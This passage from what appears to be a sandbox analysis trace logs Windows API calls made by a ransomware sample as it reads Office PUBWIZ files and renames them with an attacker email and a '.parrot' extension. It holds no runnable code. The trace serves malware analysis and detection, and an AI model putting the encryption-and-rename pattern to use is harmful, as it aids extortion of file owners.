office\\office14\\pubwiz\\cert98.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0206.029] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0206.029] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0206.029] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x5b0000) returned 1 [0206.033] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0206.033] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0206.170] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.170] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x53bc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x53bc, lpOverlapped=0x0) returned 1 [0206.172] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.173] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT98SP.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\cert98sp.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT98SP.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\cert98sp.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0206.178] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0206.178] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0206.178] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac460 | out: hHeap=0x5b0000) returned 1 [0206.180] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0206.180] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0206.181] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.182] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x170e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x170e, lpOverlapped=0x0) returned 1 [0206.183] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.183] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CHECKER.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\checker.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CHECKER.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\checker.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0206.186] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0206.186] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0206.186] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a0458 | out: hHeap=0x5b0000) returned 1 [0206.188] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0206.188] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0206.190] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.190] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2808, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2808, lpOverlapped=0x0) returned 1 [0206.191] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.191] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CONTACTINFOBB.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\contactinfobb.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CONTACTINFOBB.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\contactinfobb.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0206.194] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22aa410 | out: hHeap=0x5b0000) returned 1 [0206.194] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0206.194] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a2498 | out: hHeap=0x5b0000) returned 1 [0206.195] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0206.196] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0206.197] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.197] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4ce8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4ce8, lpOverlapped=0x0) returned 1 [0206.198] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.199] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CONTACTINFOBB.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\contactinfobb.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CONTACTINFOBB.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\contactinfobb.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0206.202] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22aa410 | out: hHeap=0x5b0000) returned 1 [0206.202] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0206.202] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac460 | out: hHeap=0x5b0000) returned 1 [0206.204] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0206.204] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0206.206] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.206] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc692, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xc692, lpOverlapped=0x0) returned 1 [0206.245] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.247] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\COUPON.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\coupon.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\COUPON.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\coupon.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0206.252] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0206.252] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0206.252] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31b44a0 | out: hHeap=0x5b0000) returned 1 [0206.254] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0206.254] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0206.255] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.255] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2a00, lpOverlapped=0x0) returned 1 [0206.256] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.257] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBAR.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgaccbar.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBAR.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgaccbar.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0206.261] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0206.261] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c470 | out: hHeap=0x5b0000) returned 1 [0206.261] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a2498 | out: hHeap=0x5b0000) returned 1 [0206.263] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0206.263] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0206.265] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.265] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb22, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb22, lpOverlapped=0x0) returned 1 [0206.265] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.266] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBAR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgaccbar.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBAR.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgaccbar.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0206.269] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0206.269] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0206.270] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0206.271] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0206.272] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0206.273] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.273] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1200, lpOverlapped=0x0) returned 1 [0206.274] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.275] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBOX.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgaccbox.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBOX.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgaccbox.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0206.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0206.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0206.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a0458 | out: hHeap=0x5b0000) returned 1 [0206.280] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0206.280] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0206.288] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.288] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x34e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x34e, lpOverlapped=0x0) returned 1 [0206.289] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.289] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBOX.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgaccbox.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBOX.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgaccbox.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0206.294] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0206.294] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0206.294] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0206.303] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0206.304] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0206.305] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.305] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4b2c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4b2c, lpOverlapped=0x0) returned 1 [0206.306] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.307] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGAD.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgad.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGAD.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgad.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0206.311] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0206.311] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0206.311] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac460 | out: hHeap=0x5b0000) returned 1 [0206.314] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0206.314] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0206.315] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.315] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3be, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3be, lpOverlapped=0x0) returned 1 [0206.316] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.316] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGAD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgad.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGAD.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgad.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0206.320] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0206.320] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0206.321] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0206.322] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0206.323] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0206.325] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.325] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5269, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5269, lpOverlapped=0x0) returned 1 [0206.326] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.326] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGATNGET.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgatnget.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGATNGET.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgatnget.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0206.330] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0206.330] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0206.330] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac460 | out: hHeap=0x5b0000) returned 1 [0206.332] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0206.332] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0206.367] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.368] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x145a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x145a, lpOverlapped=0x0) returned 1 [0206.369] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.369] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGATNGET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgatnget.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGATNGET.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgatnget.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0206.374] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0206.374] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0206.374] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a0458 | out: hHeap=0x5b0000) returned 1 [0206.376] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0206.376] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0206.378] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.378] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe00, lpOverlapped=0x0) returned 1 [0206.378] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.379] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBARBLL.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgbarbll.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBARBLL.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgbarbll.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0206.382] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0206.382] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0206.382] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x230e0b0 | out: hHeap=0x5b0000) returned 1 [0206.385] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0206.385] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0206.386] SetFilePointerEx (in: hFile=0x27c, 